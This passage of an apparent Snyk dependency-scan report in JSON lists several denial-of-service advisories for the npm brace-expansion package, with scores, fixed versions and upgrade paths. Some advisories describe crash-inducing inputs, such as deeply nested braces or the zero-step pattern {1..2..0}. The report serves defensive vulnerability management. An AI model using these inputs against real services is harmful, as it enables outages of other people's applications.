"Alessio Della Libera"
],
"semver": {
"vulnerable": [
"<1.1.18",
">=2.0.0 <2.1.4",
">=3.0.0 <3.0.6",
">=4.0.0 <5.0.9"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.18",
"2.1.4",
"3.0.6",
"5.0.9"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n",
"epssDetails": {
"percentile": "0.48810",
"probability": "0.00647",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-69152"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-rgw5-rvv9-x895"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-08-03T18:50:29.684875Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-08-03T16:35:32Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-08-03T18:50:29.862827Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T21:42:52.694864Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"pacote@18.0.6",
"@npmcli/package-json@5.2.0",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"pacote@21.5.1",
"@npmcli/package-json@7.0.5",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244948",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Gareth Jones",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.20",
">=2.0.0 <2.1.6",
">=3.0.0 <3.0.8",
">=4.0.0 <5.0.11"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.20",
"2.1.6",
"3.0.8",
"5.0.11"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via uncontrolled recursion in `expand_` when processing deeply nested brace patterns. An attacker can supply approximately 6 KB of deeply nested braces (e.g., `{` repeated ~3,200 times followed by `a,b` and the matching `}` characters) to exhaust the native call stack and crash the process with a `RangeError: Maximum call stack size exceeded`. The `max` and `maxLength` bounds do not prevent this because the stack is exhausted during recursive descent into sub-expansions, before the result set grows.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.20, 2.1.6, 3.0.8, 5.0.11 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102278"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-qhr7-859c-m2p7"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:28:47.469361Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:22Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:28:47.672458Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-10-09T05:49:37.555149Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"pacote@18.0.6",
"@npmcli/package-json@5.2.0",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"pacote@21.5.1",
"@npmcli/package-json@7.0.5",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244952",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"baeseungwon1010",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.19",
">=2.0.0 <2.1.5",
">=3.0.0 <3.0.7",
">=4.0.0 <5.0.10"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.19",
"2.1.5",
"3.0.7",
"5.0.10"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p",
"title": "Maintainer's Advisory"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via two distinct stack-exhaustion paths in `parseCommaParts`. In the first, the function recurses on the remainder of the string once per brace group, so a chain of approximately 7,000 groups (~29 KB of input) exhausts the native call stack and throws a `RangeError`. In the second, `push.apply` passes one argument per element, meaning a single large comma-separated array inside a brace group overflows the stack at a recursion depth of exactly one, requiring roughly 125,000 comma-separated elements. Neither the `max` nor `maxLength` options can bound either path because the crash occurs during parsing, before any expansion takes place.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.19, 2.1.5, 3.0.7, 5.0.10 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3)\n- [Maintainer's Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102276"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-6j4f-fj2g-mc7p"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:36:51.075985Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:21Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:36:51.235635Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-29T19:40:12.310972Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"pacote@18.0.6",
"@npmcli/package-json@5.2.0",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"pacote@21.5.1",
"@npmcli/package-json@7.0.5",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-15789759",
"title": "Infinite loop",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Subhash Dasyam"
],
"semver": {
"vulnerable": [
"<1.1.13",
">=2.0.0 <2.0.3",
">=3.0.0 <3.0.2",
">=4.0.0 <5.0.5"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.13",
"2.0.3",
"3.0.2",
"5.0.5"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113",
"title": "Vulnerable Code"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184",
"title": "Vulnerable Code"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"assigner": "NVD",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "NVD",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n",
"epssDetails": {
"percentile": "0.47050",
"probability": "0.00613",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-33750"
],
"CWE": [
"CWE-835"
],
"GHSA": [
"GHSA-f886-m6hf-6m8v"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-03-27T07:45:56.244707Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-03-26T18:29:42Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-03-27T07:45:56.429154Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T02:01:42.918000Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"@npmcli/arborist@7.5.4",
"@npmcli/package-json@5.2.0",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"@npmcli/arborist@9.9.3",
"@npmcli/package-json@7.0.5",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-17706650",
"title": "Inefficient Algorithmic Complexity",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Unknown"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.7"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.7"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n",
"epssDetails": {
"percentile": "0.29069",
"probability": "0.00364",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-13149"
],
"CWE": [
"CWE-407"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-06-30T11:38:19.757696Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-06-30T11:25:01Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-06-30T11:38:19.961909Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-08-24T14:04:38.442182Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"@npmcli/arborist@7.5.4",
"@npmcli/package-json@5.2.0",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"@npmcli/arborist@9.9.3",
"@npmcli/package-json@7.0.5",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18313044",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"bnbdr"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.8"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.8"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n",
"epssDetails": {
"percentile": "0.49122",
"probability": "0.00643",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-14257"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-mh99-v99m-4gvg"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-07-26T09:53:40.727617Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-07-23T15:49:26Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-07-26T09:53:40.907374Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-16T14:02:43.227595Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"@npmcli/arborist@7.5.4",
